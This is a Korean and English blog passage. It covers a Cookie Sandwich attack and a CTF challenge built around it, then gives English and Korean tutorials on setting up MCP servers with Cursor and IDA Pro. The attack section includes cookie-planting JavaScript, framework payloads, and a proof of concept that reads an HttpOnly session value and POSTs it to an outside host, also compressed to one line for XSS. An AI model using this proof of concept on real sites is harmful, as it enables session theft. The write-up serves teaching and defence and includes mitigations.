바로 이 지점에서 쿠키의 path 속성이 열쇠가 됩니다. 브라우저는 path의 구체성(specificity)에 따라 쿠키를 정렬하는데, 이 규칙을 역이용하면 공격자가 순서를 마음대로 주무를 수 있거든요. 쿠키마다 path를 잘 지정해 두면, 취약점을 터뜨리기 좋은 순서로 자기 쿠키가 처리되도록 유도할 수 있는 겁니다.

실전 시연

말보다 실제로 보는 게 빠르겠죠. 공격이 어떻게 돌아가는지 직접 보여드리겠습니다.

처음에는 평범한 HttpOnly 쿠키(JSESSIONID)만 있습니다.

여기에 쿠키 샌드위치를 만드는 자바스크립트를 실행하고,

document.cookie = `$Version=1; path=/test.jsp;`;
document.cookie = 'param1="start; path=/test.jsp;';
document.cookie = 'param2=end"; path=/;';

페이지를 새로고침하면, 서버 측 파싱(레거시 모드)이 쿠키들을 하나의 값으로 묶어서 인식하는 걸 볼 수 있습니다.

반대로 공격을 대충 구성한 채 새로고침하면, JSESSIONID가 재생성되면서 순서가 뒤바뀌어 샌드위치가 그냥 풀려 버리기도 합니다.

마찬가지로 $Version 쿠키의 path 속성을 제대로 안 잡아 주면 공격은 그대로 실패합니다.

프레임워크별 변형

이 취약점을 확실히 터뜨리려면 프레임워크마다 페이로드 형식을 조금씩 손봐 줘야 합니다.

Flask:  {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}  
Django: {"foo": "bar", "$Version": "1", "$Path": "/", "$Domain": "abc"}  
PHP:    {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Ruby:   {"foo": "\"bar\"", "$Version": "1", "$Path": "\"\\/\"", "$Domain": "abc"}
Spring: { "foo": "\"bar\""}

실전 공격

실제 환경에서의 공격은 보통 이런 흐름으로 이어집니다.

레거시 쿠키 파싱을 쓰거나, 그 모드로 전환할 수 있는 서버를 찾는다
(XSS 등으로) 자바스크립트를 실행해 쿠키 샌드위치를 만든다
쿠키 데이터를 돌려주는 특정 엔드포인트로 요청을 보낸다
응답에서 HttpOnly 쿠키를 빼낸다

워게임 문제 제작

이 취약점을 직접 보여주려고 Cookie Sandwich 워게임 문제를 만들어 봤는데요. 제대로 된 CTF 문제를 만드는 일은 생각보다 손이 많이 가서, 완성하는 데 꼬박 하루가 걸렸습니다.

이 문제는 참고 자료에서 설명한 시나리오를 단순하게 줄여 구현한 겁니다. 취약점을 테스트하려면 admin bot이 필요했는데, 어떻게 붙일지 한참 고민했죠. Chromium을 JSP 환경에 직접 포팅하는 건 기술적으로 까다로워서, 결국 다른 길을 택했습니다. 별도의 컨테이너를 두고 Docker 네트워킹으로 admin 기능을 굴린 거예요.

특히 chromedriver 버전을 맞추는 게 골칫거리였던 탓에, 구현을 단순화하려고 tonyp7의 기존 이미지를 가져다 썼습니다.

version: '3.8'

services:
  tomcat:
    build: 
      context: ./tomcat
      dockerfile: Dockerfile
    ports:
      - "8080:8080"
    volumes:
      - ./tomcat/app:/usr/local/tomcat/webapps/ROOT
    environment:
      - CATALINA_OPTS=-Dorg.apache.catalina.STRICT_SERVLET_COMPLIANCE=false 
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - FLAG=${FLAG}
    networks:
      - internal 

  bot:
    image: tonyp7/flask-selenium-chromedriver-alpine:latest
    shm_size: '2gb'
    build: 
      context: ./bot
      dockerfile: Dockerfile
    depends_on:
      - tomcat
    networks:
      - internal
    ports:
      - "8000:8000"
    environment:
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - GUNICORN_CMD_ARGS=--workers=1 --timeout=120
    deploy:
      resources:
        limits:
          memory: 1G

networks:
  internal:
    driver: bridge

문제의 핵심은 json.jsp 파일에 있습니다. 클라이언트가 요청을 보내면 서버는 쿠키 데이터를 돌려주되, JSESSIONID 쿠키만은 일부러 쏙 빼놓죠. Tomcat의 JSESSIONID는 기본적으로 HttpOnly로 설정되니, Cookie Sandwich 공격의 딱 좋은 표적이 되는 겁니다.

<%@ page contentType="application/json;charset=UTF-8" %>
<%
    String leaked = "";
    Cookie[] cookies = request.getCookies();
    if (cookies != null) {
        for (Cookie c : cookies) {
            if (!"JSESSIONID".equals(c.getName())) {
                leaked = c.getValue();
                break;
            }
        }
    }
    leaked = leaked.replace("\"","\\\"");
    out.print("{\"session\":\"" + leaked + "\"}");
%>

이 문제를 푸는 개념 증명(PoC)은 이렇습니다.

<script>
document.cookie = '$Version=1; path=/json.jsp;';
document.cookie = 'param1="start; path=/json.jsp;';
document.cookie = 'param2=end"; path=/;';

fetch('/json.jsp', {
  credentials: 'include'
})
  .then(r => r.json())
  .then(data => {
    return fetch('http://fooo1.com:5555/', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>

문자 수가 제한된 상황을 위해 한 줄로 압축한 버전도 준비했다:

<script>document.cookie = '$Version=1; path=/json.jsp;';document.cookie = 'param1="start; path=/json.jsp;';document.cookie = 'param2=end"; path=/;';fetch('/json.jsp', {credentials: 'include'}).then(r => r.json()).then(data => {return fetch('http://fooo1.com:5555/', {method: 'POST',body: JSON.stringify(data)});});</script>

이렇게 잘 맞아떨어지면, 공격자는 HttpOnly 쿠키 값을 그대로 손에 넣게 됩니다.

완화 방안

그럼 Cookie Sandwich 공격은 어떻게 막을까요?

꼭 필요한 게 아니라면 레거시 쿠키 파싱 모드를 꺼 둔다
세미콜론을 넘어 따옴표 문자열을 해석하지 않는 엄격한 파싱 규칙을 적용한다
더 강력한 쿠키 격리 메커니즘을 갖춘다
SameSite=strict 같은 현대적 보안 헤더로 교차 사이트 쿠키 전송을 제한한다
민감한 기능이라면 쿠키 기반 인증의 대안도 고려한다

마치며

Cookie Sandwich Attack은 파싱 명세의 사소해 보이는 차이 하나가 어떻게 중대한 취약점으로 번질 수 있는지를 아주 잘 보여줍니다. 특히 하위 호환성을 챙길 때, 서로 다른 표준이 어떻게 맞물려 돌아가는지 이해하는 게 얼마나 중요한지 새삼 느끼게 되죠.

웹 개발자와 보안 담당자라면 이 기법을 알아 두고 적절한 방어를 마련해 두는 게 좋습니다. 특히 레거시 쿠키 파싱 모드를 지원하는 구형 서버 기술을 쓸 법한 애플리케이션이라면 더더욱요.

참고 자료

Introducing the Model Context Protocol

Mon, 14 Apr 2025 00:00:00 +0900

Overview

Working with AI often boosts productivity, but it can quickly become tedious. You might find yourself constantly copying and pasting code snippets or images into prompts. While this is manageable for analyzing single source files, it becomes cumbersome when dealing with entire projects. Manually feeding source code to a Large Language Model (LLM) is inefficient, and the LLM itself struggles to grasp the overall context and flow of the project.

To address this, researchers and developers are exploring ways for LLMs to directly interact with tools like note-taking apps (e.g., Obsidian) or reverse engineering software (e.g., IDA Pro). This approach promises a smoother and more productive workflow.

Existing solutions like OpenAI’s API, orchestration frameworks like LangChain, and Retrieval-Augmented Generation (RAG) offer some capabilities. However, these methods often suffer from limitations in extensibility, flexibility, and can be quite closed-off, requiring significant customization for specific needs. It’s reminiscent of the past when every electronic device needed its own proprietary charger. This analogy, used by Anthropic when introducing MCP, aptly highlights the need for standardization.

The Model Context Protocol (MCP) aims to solve these problems by standardizing the communication protocol between models and the tools that provide them with external data. Think of it as creating a universal standard for how AI models access and use information from various sources.

Features

Key features of MCP include:

Open Source and Customizable: MCP is open source, allowing for modification and adaptation.
Model Agnostic: While developed by Anthropic (creators of Claude), MCP supports various LLMs.
Persistent, Bidirectional Communication: Enables ongoing, two-way interaction between the model and tools.
Context Preservation: Maintains the context of the interaction across multiple turns.
Extensibility: Designed to easily integrate new tools and capabilities.
Ease of Use: Relatively simple to implement, even without deep development expertise.
Security: Communication occurs at the transport layer, offering inherent security benefits.

The MCP architecture involves three main components: Hosts, MCP Clients, and MCP Servers. While understanding the specifics isn’t essential for end-users, a basic grasp is helpful.

Host

The user-facing application (e.g., Claude Desktop, VS Code, Cursor, other AI tools).
Manages multiple MCP Client instances.
Determines what information to provide to the LLM.

MCP Clients

Connect to MCP Servers.
Represent a single interaction session.
Route messages between the Host and Servers.
Act as intermediaries.

MCP Servers

Provide “tools” (capabilities) to MCP Clients.
Can run locally or remotely.
Deliver capabilities independently.

The term “tools” here refers to the functionalities exposed by the Servers. MCP also supports “Resources” and “Prompts,” though these are less commonly used currently. If their usage increases, dedicated documentation will likely follow.

Open-Source MCP Server with Cursor

Let’s look at using an open-source MCP server with Cursor, a popular AI-powered code editor. Smithery offers various Global MCP servers like Sequential Thinking and Github. We’ll connect Cursor to the Sequential Thinking server.

Popular open-source MCP server hubs include Cursor Directory, Glama, and Smithery.

Installation

Visit the Sequential Thinking server page on Smithery.

Install the MCP Server. Initially, I tried installing by manually adding the JSON configuration, but encountered issues.

The recommended method is direct installation using npx.

2-1. Check the latest version on the Smithery page.

2-2. Copy the installation command.

2-3. Run the command in your terminal. Note: Node.js must be installed beforehand.

$chjw1: ~ > npx -y @smithery/cli@latest install @smithery-ai/server-sequential-thinking --client cursor --key [redacted]
✔ Successfully resolved @smithery-ai/server-sequential-thinking
Installing remote server. Please ensure you trust the server author, especially when sharing sensitive data.
For information on Smithery's data policy, please visit: https://smithery.ai/docs/data-policy
@smithery-ai/server-sequential-thinking successfully installed for cursor

Verify recognition in the Host (Cursor). The server should now be recognized by Cursor.

Important: Remember to restart the Host application (Cursor, Claude Desktop, etc.) whenever you modify MCP settings.

Config File

In Cursor, go to Settings (gear icon) -> MCP -> Click the blue +Add new global MCP server button in the top right. This reveals how the Host recognizes MCP Servers. You can see which command establishes communication, available tools, and manage multiple servers easily.

On Windows, the configuration file is located at C:\Users\<YourUsername>\.cursor\mcp.json.

Here’s an example configuration (API keys redacted):

{
  "mcpServers": {
    "github": {
      "command": "cmd",
      "args": [
        "/c",
        "npx",
        "-y",
        "@smithery/cli@latest",
        "run",
        "@smithery-ai/github",
        "--config",
        "\"{\\\"githubPersonalAccessToken\\\":\\\"[redacted]\\\"}\""
      ]
    },
    "desktop-commander": {
      "command": "cmd",
      "args": [
        "/c",
        "npx",
        "-y",
        "@smithery/cli@latest",
        "run",
        "@wonderwhy-er/desktop-commander",
        "--key",
        "[redacted]"
      ]
    },
    "mcp-obsidian": {
      "command": "uvx",
      "args": [
        "mcp-obsidian"
      ],
      "env": {
        "OBSIDIAN_API_KEY": "[redacted]"
      }
    },
    "github.com/qw3rtyou/ida-pro-mcp": {
      "command": "C:\\Users\\chjw1\\AppData\\Local\\Programs\\Python\\Python312\\python.exe",
      "args": [
        "C:\\Users\\chjw1\\AppData\\Local\\Programs\\Python\\Python312\\Lib\\site-packages\\ida_pro_mcp\\server.py"
      ],
      "timeout": 1800,
      "disabled": false,
      "autoApprove": [
        "check_connection",
        "get_metadata",
        // ... other auto-approved tools ...
        "get_struct_size"
      ],
      "alwaysAllow": [
        "check_connection",
        "get_metadata",
        // ... other always-allowed tools ...
        "get_struct_size"
      ]
    },
    "think-mcp-server": {
      "command": "cmd",
      "args": [
        "/c",
        "npx",
        "-y",
        "@smithery/cli@latest",
        "run",
        "@PhillipRt/think-mcp-server",
        "--key",
        "[redacted]"
      ]
    },
    "server-sequential-thinking": {
      "command": "cmd",
      "args": [
        "/c",
        "npx",
        "-y",
        "@smithery/cli@latest",
        "run",
        "@smithery-ai/server-sequential-thinking",
        "--key",
        "[redacted]"
      ]
    }
  }
}

This configuration allows the AI to perform tasks like pushing projects to GitHub or documenting findings in Obsidian, creating a powerful, extensible environment.

Make my own MCP Server

While using public servers is convenient, you can also create and run your own local MCP server. The Python SDK makes this straightforward.

Development

Before starting server development, consider using UV, a Python package and version management tool. While not mandatory, it’s fast, stable, and significantly improves the development experience once learned. Many modern Python tools are adopting UV for package management, making it a worthwhile investment.

Create Project and Install SDK

$chjw1: ~/mcp > uv init MCP05
Initialized project `mcp05` at `C:\Users\chjw1\mcp\MCP05`
$chjw1: ~/mcp > cd .\MCP05\
$chjw1: ~/mcp/MCP05 on master ?7 > uv add "mcp[cli]"
Using CPython 3.12.6 interpreter at: C:\Users\chjw1\AppData\Local\Programs\Python\Python312\python.exe
Creating virtual environment at: .venv
Resolved 28 packages in 291ms
Prepared 27 packages in 783ms
Installed 27 packages in 129ms
 + annotated-types==0.7.0
 + anyio==4.9.0
 # ... other installed packages ...

Test the installation:

$chjw1: ~/mcp/MCP05 on master ?8 > uv run mcp
 Usage: mcp [OPTIONS] COMMAND [ARGS]...

 MCP development tools
# ... (mcp help output) ...

View the dependency tree:

$chjw1: ~/mcp/MCP05 on master ?8 > uv tree
Resolved 28 packages in 2ms
mcp05 v0.1.0
└── mcp[cli] v1.6.0
    ├── anyio v4.9.0
    │   ├── idna v3.10
    │   ├── sniffio v1.3.1
    │   └── typing-extensions v4.13.0
   # ... (dependency tree output) ...

Debugging is also possible (though not extensively tested by the author):

$chjw1: ~/mcp/MCP05 on master ?8 > .\.venv\Scripts\activate.ps1
(mcp05) $chjw1: ~/mcp/MCP05 on master ?8 > mcp dev server.py
Starting MCP inspector...
Proxy server listening on port 3000

🔍 MCP Inspector is up and running at http://localhost:5173 🚀

Write Server Code Here’s the example from the official documentation:

# server.py
from mcp.server.fastmcp import FastMCP

# Create an MCP server
mcp = FastMCP("Demo")

# Add an addition tool
@mcp.tool()
def add(a: int, b: int) -> int:
    """Add two numbers"""
    return a + b

# Add a dynamic greeting resource
@mcp.resource("greeting://{name}")
def get_greeting(name: str) -> str:
    """Get a personalized greeting"""
    return f"Hello, {name}!"

Consider using Docker for deployment:

FROM python:3.11-slim

WORKDIR /app

RUN apt-get update && apt-get install -y curl

COPY . .

RUN curl -LsSf https://astral.sh/uv/install.sh | sh

ENV PATH="/root/.local/bin:${PATH}"

RUN uv venv .venv && uv pip install -r pyproject.toml

EXPOSE 3000
EXPOSE 5173

ENTRYPOINT ["uv", "run", "mcp", "run", "src/calc_server.py:mcp"]

Configure Host App Below are configurations for connecting via Docker (top) and directly locally (bottom). Dockerizing can save hassle compared to configuring mcp.json for every environment.

"simple-calc-docker": {
  "command": "docker",
  "args": [
    "run",
    "-i",
    "--rm",
    "-p",
    "3010:3000",
    "mcp/seminar"
  ]
},
"simple-calc": {
  "command": "uv",
  "args": [
    "--directory",
    "C:\\Users\\chjw1\\mcp\\MCP05",
    "run",
    "src\\calc_server.py"
  ]
}

Run the Server (Example using Docker)

$chjw1: ~/mcp/MCP05 on master ?7 > docker image build -t mcp/seminar .
[+] Building 1.3s (11/11) FINISHED                                      docker:default
 => [internal] load build definition from Dockerfile                              0.0s
 => => transferring dockerfile: 619B                                              0.0s
 # ... (docker build output) ...
 => => naming to docker.io/mcp/seminar                                            0.0s

Verify Connection

The Host should now list the tools provided by your custom server.

However, note that Cursor currently seems unable to fetch Resources defined in the server code.

As Cursor only supports Tools at the moment, using Claude Desktop might be necessary to use Resources or Prompts.

You can install the server for Claude Desktop using the following command in your virtual environment:
```
mcp install .\src\calc_server.py
```
This adds an entry to claude_desktop_config.json:
```
"mcpServers": {
    "CalcMCPServer": {
      "command": "uv",
      "args": [
        "run",
        "--with",
        "mcp[cli]",
        "mcp",
        "run",
        "C:\\Users\\chjw1\\mcp\\MCP05\\src\\calc_server.py"
      ]
    }
}
```
Now, Claude Desktop can access the defined Resources.

IDA-pro-mcp Customizing

From a security perspective, exploring MCP’s capabilities through customization is particularly interesting. A colleague recommended the IDA MCP server, which proved to be the most useful and engaging MCP application I’ve encountered.

It allows real-time symbol renaming, adding relevant comments, and performing analysis within IDA Pro via the AI assistant.

However, I encountered situations where analysis stalled because the AI didn’t know the data residing at a specific memory address. To overcome this, I implemented a memory dump function.

Available tools (before customization):

check_connection: Check if the IDA plugin is running.
get_metadata(): Get metadata about the current IDB.
get_function_by_name(name): Get a function by its name.
# ... (list of original tools) ...
set_local_variable_type(function_address, variable_name, new_type): Set a local variable's type.

Development process:

Locate the local Python package directory.

$chjw1: ~/workspace/ida-pro-mcp on main > pip show ida-pro-mcp
Name: ida-pro-mcp
Version: 1.2.0
Summary: Vibe reversing with IDA Pro
Home-page:
Author: mrexodia
Author-email:
License:
Location: C:\Users\chjw1\AppData\Local\Programs\Python\Python312\Lib\site-packages
Requires: mcp
Required-by:

Replace existing files with modified ones (e.g., copy your customized server.py).

$chjw1: ~/workspace/ida-pro-mcp on main > explorer.exe C:\Users\chjw1\AppData\Local\Programs\Python\Python312\Lib\site-packages\ida_pro_mcp\

Reinstall the package to apply changes. This updates server_generated.py and applies the modifications to the IDA Python plugin.

$chjw1: ~/workspace/ida-pro-mcp on main > ida-pro-mcp --install
Skipping Cline installation
  Config: C:\Users\chjw1\AppData\Roaming\Code\User\globalStorage\saoudrizwan.claude-dev\settings\cline_mcp_settings.json (not found)
Skipping Roo Code installation
  Config: C:\Users\chjw1\AppData\Roaming\Code\User\globalStorage\rooveterinaryinc.roo-cline\settings\mcp_settings.json (not found)
Installed Claude MCP server (restart required)
  Config: C:\Users\chjw1\AppData\Roaming\Claude\claude_desktop_config.json
Installed IDA Pro plugin (IDA restart required)
  Plugin: C:\Users\chjw1\AppData\Roaming\Hex-Rays\IDA Pro\plugins\mcp-plugin.py

I forked the original repository and added the memory dump functionality to my personal GitHub.

Another inconvenience arose during development: the installation command updated claude_desktop_config.json but not Cursor’s mcp.json.

I modified the installation script to automatically update Cursor’s configuration as well:

 def install_mcp_servers(*, uninstall=False, quiet=False, env={}):
     if sys.platform == "win32":
         configs = {
             "Cline": (os.path.join(os.getenv("APPDATA"), "Code", "User", "globalStorage", "saoudrizwan.claude-dev", "settings"), "cline_mcp_settings.json"),
             "Roo Code": (os.path.join(os.getenv("APPDATA"), "Code", "User", "globalStorage", "rooveterinaryinc.roo-cline", "settings"), "mcp_settings.json"),
             "Claude": (os.path.join(os.getenv("APPDATA"), "Claude"), "claude_desktop_config.json"),
+            "Cursor": (os.path.join(os.getenv("USERPROFILE"), ".cursor"), "mcp.json"),
         }

References

python-sdk github
fastmcp github
https://tiaz.dev/ai/3
https://apidog.com/kr/blog/build-a-custom-mcp-server/
https://tiaz.dev/ai/1

개요

AI와 함께 일하면 생산성이 확 오르긴 하는데, 은근히 손이 많이 가기도 하죠. 코드 조각이나 이미지를 프롬프트에 계속 복사, 붙여넣기 하고 있는 자신을 발견하곤 합니다. 파일 하나를 분석할 땐 그럭저럭 견딜 만한데, 프로젝트 전체를 다루기 시작하면 이게 여간 성가신 게 아니에요. 대규모 언어 모델(LLM)에 소스 코드를 일일이 떠먹여 주는 건 비효율적이고, LLM 입장에서도 프로젝트의 전체 맥락과 흐름을 잡기가 어렵거든요.

그래서 연구자와 개발자들은 LLM이 노트 앱(예: Obsidian)이나 리버스 엔지니어링 소프트웨어(예: IDA Pro) 같은 도구와 직접 상호작용하게 만드는 방법을 고민하기 시작했습니다. 이렇게만 되면 훨씬 매끄럽고 생산적인 워크플로가 열리니까요.

물론 OpenAI의 API, LangChain 같은 오케스트레이션 프레임워크, 검색 증강 생성(RAG) 같은 기존 해법도 어느 정도는 이 일을 해냅니다. 다만 확장성, 유연성에서 한계가 있고, 꽤 폐쇄적이라 내 상황에 맞추려면 손볼 게 많은 경우가 많죠. 이건 마치 예전에 전자 기기마다 전용 충전기를 따로 챙겨야 했던 시절과 비슷합니다. Anthropic이 MCP를 소개하며 든 이 비유가, 표준화가 왜 필요한지를 참 잘 짚어 주더군요.

Model Context Protocol(MCP)은 모델과, 그 모델에 외부 데이터를 물어다 주는 도구 사이의 통신 프로토콜을 표준화해서 이 문제를 풀려는 시도입니다. AI 모델이 온갖 출처의 정보에 접근하고 활용하는 방식에 “공용 규격”을 하나 만들어 주는 거라고 생각하면 됩니다.

특징

MCP의 주요 특징은 이렇습니다.

오픈 소스 & 커스터마이징 가능: 오픈 소스라 얼마든지 뜯어고쳐 쓸 수 있습니다.
모델 비종속(Model Agnostic): Anthropic(Claude 제작사)이 만들었지만, 다양한 LLM을 지원합니다.
지속적, 양방향 통신: 모델과 도구가 끊김 없이 양방향으로 주고받을 수 있게 해줍니다.
맥락 보존: 여러 턴에 걸쳐 상호작용의 맥락을 계속 이어 갑니다.
확장성: 새로운 도구와 기능을 쉽게 끼워 넣도록 설계됐습니다.
사용 편의성: 깊은 개발 지식 없이도 비교적 쉽게 구현할 수 있습니다.
보안: 통신이 전송 계층(transport layer)에서 이뤄져 본질적인 보안 이점이 있습니다.

MCP 아키텍처는 크게 세 조각으로 나뉩니다. 바로 Host, MCP Client, MCP Server인데요. 최종 사용자가 시시콜콜 다 알 필요는 없지만, 기본 개념 정도는 잡고 가면 좋습니다.

Host

사용자를 마주하는 애플리케이션(예: Claude Desktop, VS Code, Cursor, 기타 AI 도구)
여러 MCP Client 인스턴스를 관리한다
LLM에 어떤 정보를 넘길지 결정한다

MCP Client

MCP Server에 연결한다
하나의 상호작용 세션을 나타낸다
Host와 Server 사이에서 메시지를 라우팅한다
중개자 역할을 한다

MCP Server

MCP Client에 “도구(tool, 기능)”를 제공한다
로컬이든 원격이든 실행할 수 있다
기능을 독립적으로 전달한다

여기서 “tool”은 Server가 바깥으로 내놓는 기능들을 가리킵니다. MCP는 “Resource”와 “Prompt”도 지원하는데, 아직은 상대적으로 덜 쓰이죠. 쓰임새가 늘어나면 전용 문서도 뒤따라 나올 겁니다.

Cursor로 오픈 소스 MCP 서버 써 보기

인기 있는 AI 코드 에디터 Cursor에서 오픈 소스 MCP 서버를 붙여 보겠습니다. Smithery에는 Sequential Thinking, Github를 비롯한 다양한 Global MCP 서버가 준비돼 있는데요. 여기서는 Cursor를 Sequential Thinking 서버에 연결해 볼게요.

오픈 소스 MCP 서버를 모아 둔 허브로는 Cursor Directory, Glama, Smithery 정도가 유명합니다.

설치

Smithery의 Sequential Thinking 서버 페이지에 접속한다.

MCP 서버를 설치합니다. 처음엔 JSON 설정을 손으로 직접 추가해 설치하려 했는데, 자꾸 말썽이 나더라고요.

권장하는 방법은 npx를 이용한 직접 설치입니다.

2-1. Smithery 페이지에서 최신 버전을 확인합니다.

2-2. 설치 명령을 복사합니다.

2-3. 터미널에서 명령을 실행합니다. 참고: Node.js가 미리 깔려 있어야 해요.

$chjw1: ~ > npx -y @smithery/cli@latest install @smithery-ai/server-sequential-thinking --client cursor --key [redacted]
✔ Successfully resolved @smithery-ai/server-sequential-thinking
Installing remote server. Please ensure you trust the server author, especially when sharing sensitive data.
For information on Smithery's data policy, please visit: https://smithery.ai/docs/data-policy
@smithery-ai/server-sequential-thinking successfully installed for cursor

Host(Cursor)가 서버를 잘 인식하는지 확인합니다. 이제 Cursor에 서버가 잡혀야 정상이에요.

중요: MCP 설정을 바꿀 때마다 Host 애플리케이션(Cursor, Claude Desktop 등)을 재시작하는 것, 꼭 잊지 마세요.

설정 파일

Cursor에서 Settings(톱니바퀴 아이콘) -> MCP -> 우측 상단의 파란 +Add new global MCP server 버튼을 눌러 봅니다. 여기를 열어 보면 Host가 MCP 서버를 어떻게 인식하는지가 한눈에 드러나는데요. 어떤 명령으로 통신이 맺어지는지, 어떤 도구를 쓸 수 있는지 확인할 수 있고, 여러 서버도 손쉽게 관리할 수 있습니다.

Windows에서는 설정 파일이 C:\Users\<YourUsername>\.cursor\mcp.json에 있습니다.

설정 예시다(API 키는 가림 처리):

{
  "mcpServers": {
    "github": {
      "command": "cmd",
      "args": [
        "/c",
        "npx",
        "-y",
        "@smithery/cli@latest",
        "run",
        "@smithery-ai/github",
        "--config",
        "\"{\\\"githubPersonalAccessToken\\\":\\\"[redacted]\\\"}\""
      ]
    },
    "desktop-commander": {
      "command": "cmd",
      "args": [
        "/c",
        "npx",
        "-y",
        "@smithery/cli@latest",
        "run",
        "@wonderwhy-er/desktop-commander",
        "--key",
        "[redacted]"
      ]
    },
    "mcp-obsidian": {
      "command": "uvx",
      "args": [
        "mcp-obsidian"
      ],
      "env": {
        "OBSIDIAN_API_KEY": "[redacted]"
      }
    },
    "github.com/qw3rtyou/ida-pro-mcp": {
      "command": "C:\\Users\\chjw1\\AppData\\Local\\Programs\\Python\\Python312\\python.exe",
      "args": [
        "C:\\Users\\chjw1\\AppData\\Local\\Programs\\Python\\Python312\\Lib\\site-packages\\ida_pro_mcp\\server.py"
      ],
      "timeout": 1800,
      "disabled": false,
      "autoApprove": [
        "check_connection",
        "get_metadata",
        // ... other auto-approved tools ...
        "get_struct_size"
      ],
      "alwaysAllow": [
        "check_connection",
        "get_metadata",
        // ... other always-allowed tools ...
        "get_struct_size"
      ]
    },
    "think-mcp-server": {
      "command": "cmd",
      "args": [
        "/c",
        "npx",
        "-y",
        "@smithery/cli@latest",
        "run",
        "@PhillipRt/think-mcp-server",
        "--key",
        "[redacted]"
      ]
    },
    "server-sequential-thinking": {
      "command": "cmd",
      "args": [
        "/c",
        "npx",
        "-y",
        "@smithery/cli@latest",
        "run",
        "@smithery-ai/server-sequential-thinking",
        "--key",
        "[redacted]"
      ]
    }
  }
}

이 설정만 갖춰 두면 AI가 프로젝트를 GitHub에 푸시하고, 알아낸 내용을 Obsidian에 정리하는 일까지 척척 해냅니다. 그야말로 강력하고 확장 가능한 작업 환경이 만들어지는 거죠.

나만의 MCP 서버 만들기

공개 서버를 갖다 쓰는 것도 편하지만, 직접 로컬 MCP 서버를 만들어 돌릴 수도 있습니다. Python SDK를 쓰면 생각보다 간단하거든요.

개발

서버 개발에 들어가기 전에, 파이썬 패키지, 버전 관리 도구인 UV 사용을 한번 고려해 보세요. 필수는 아니지만 빠르고 안정적이라, 한번 익숙해지면 개발 경험이 확 좋아집니다. 요즘 파이썬 도구들이 패키지 관리에 UV를 속속 채택하고 있어서, 배워 두면 두고두고 쓸모가 있죠.

프로젝트 생성 및 SDK 설치

$chjw1: ~/mcp > uv init MCP05
Initialized project `mcp05` at `C:\Users\chjw1\mcp\MCP05`
$chjw1: ~/mcp > cd .\MCP05\
$chjw1: ~/mcp/MCP05 on master ?7 > uv add "mcp[cli]"
Using CPython 3.12.6 interpreter at: C:\Users\chjw1\AppData\Local\Programs\Python\Python312\python.exe
Creating virtual environment at: .venv
Resolved 28 packages in 291ms
Prepared 27 packages in 783ms
Installed 27 packages in 129ms
 + annotated-types==0.7.0
 + anyio==4.9.0
 # ... other installed packages ...

설치가 잘 됐는지 테스트해 봅니다.

$chjw1: ~/mcp/MCP05 on master ?8 > uv run mcp
 Usage: mcp [OPTIONS] COMMAND [ARGS]...

 MCP development tools
# ... (mcp help output) ...

의존성 트리도 확인해 볼게요.

$chjw1: ~/mcp/MCP05 on master ?8 > uv tree
Resolved 28 packages in 2ms
mcp05 v0.1.0
└── mcp[cli] v1.6.0
    ├── anyio v4.9.0
    │   ├── idna v3.10
    │   ├── sniffio v1.3.1
    │   └── typing-extensions v4.13.0
   # ... (dependency tree output) ...

디버깅도 가능하다(저자가 광범위하게 테스트하진 않았음):

$chjw1: ~/mcp/MCP05 on master ?8 > .\.venv\Scripts\activate.ps1
(mcp05) $chjw1: ~/mcp/MCP05 on master ?8 > mcp dev server.py
Starting MCP inspector...
Proxy server listening on port 3000

🔍 MCP Inspector is up and running at http://localhost:5173 🚀

서버 코드 작성 공식 문서에 나오는 예시는 이렇습니다.

# server.py
from mcp.server.fastmcp import FastMCP

# Create an MCP server
mcp = FastMCP("Demo")

# Add an addition tool
@mcp.tool()
def add(a: int, b: int) -> int:
    """Add two numbers"""
    return a + b

# Add a dynamic greeting resource
@mcp.resource("greeting://{name}")
def get_greeting(name: str) -> str:
    """Get a personalized greeting"""
    return f"Hello, {name}!"

배포에는 Docker 사용을 고려하자:

FROM python:3.11-slim

WORKDIR /app

RUN apt-get update && apt-get install -y curl

COPY . .

RUN curl -LsSf https://astral.sh/uv/install.sh | sh

ENV PATH="/root/.local/bin:${PATH}"

RUN uv venv .venv && uv pip install -r pyproject.toml

EXPOSE 3000
EXPOSE 5173

ENTRYPOINT ["uv", "run", "mcp", "run", "src/calc_server.py:mcp"]

Host 앱 설정 아래는 Docker를 통한 연결(위)과 로컬 직접 연결(아래) 설정입니다. Docker로 감싸 두면 환경마다 mcp.json을 일일이 손보는 번거로움을 덜 수 있어요.

"simple-calc-docker": {
  "command": "docker",
  "args": [
    "run",
    "-i",
    "--rm",
    "-p",
    "3010:3000",
    "mcp/seminar"
  ]
},
"simple-calc": {
  "command": "uv",
  "args": [
    "--directory",
    "C:\\Users\\chjw1\\mcp\\MCP05",
    "run",
    "src\\calc_server.py"
  ]
}

서버 실행 (Docker 예시)

$chjw1: ~/mcp/MCP05 on master ?7 > docker image build -t mcp/seminar .
[+] Building 1.3s (11/11) FINISHED                                      docker:default
 => [internal] load build definition from Dockerfile                              0.0s
 => => transferring dockerfile: 619B                                              0.0s
 # ... (docker build output) ...
 => => naming to docker.io/mcp/seminar                                            0.0s

연결 확인

이제 Host에 커스텀 서버가 제공하는 도구들이 쭉 뜨면 성공입니다.

다만 현재 Cursor는 서버 코드에 정의한 Resource는 못 가져오는 것 같더라고요.

지금 Cursor는 Tool만 지원하니, Resource나 Prompt까지 써 보려면 Claude Desktop을 쓰는 게 나을 수 있습니다.

가상 환경에서 다음 명령으로 Claude Desktop용 서버를 설치할 수 있어요.
```
mcp install .\src\calc_server.py
```
그러면 claude_desktop_config.json에 항목이 하나 추가됩니다.
```
"mcpServers": {
    "CalcMCPServer": {
      "command": "uv",
      "args": [
        "run",
        "--with",
        "mcp[cli]",
        "mcp",
        "run",
        "C:\\Users\\chjw1\\mcp\\MCP05\\src\\calc_server.py"
      ]
    }
}
```
이제 Claude Desktop에서 정의한 Resource에 접근할 수 있습니다.

IDA-pro-mcp 커스터마이징

보안 하는 입장에서 보면, 커스터마이징으로 MCP의 능력을 직접 뜯어보는 게 특히 재미있습니다. 한 동료가 IDA MCP 서버를 추천해 줬는데요. 지금까지 써 본 MCP 응용 중 단연 가장 유용하고 흥미로웠습니다.

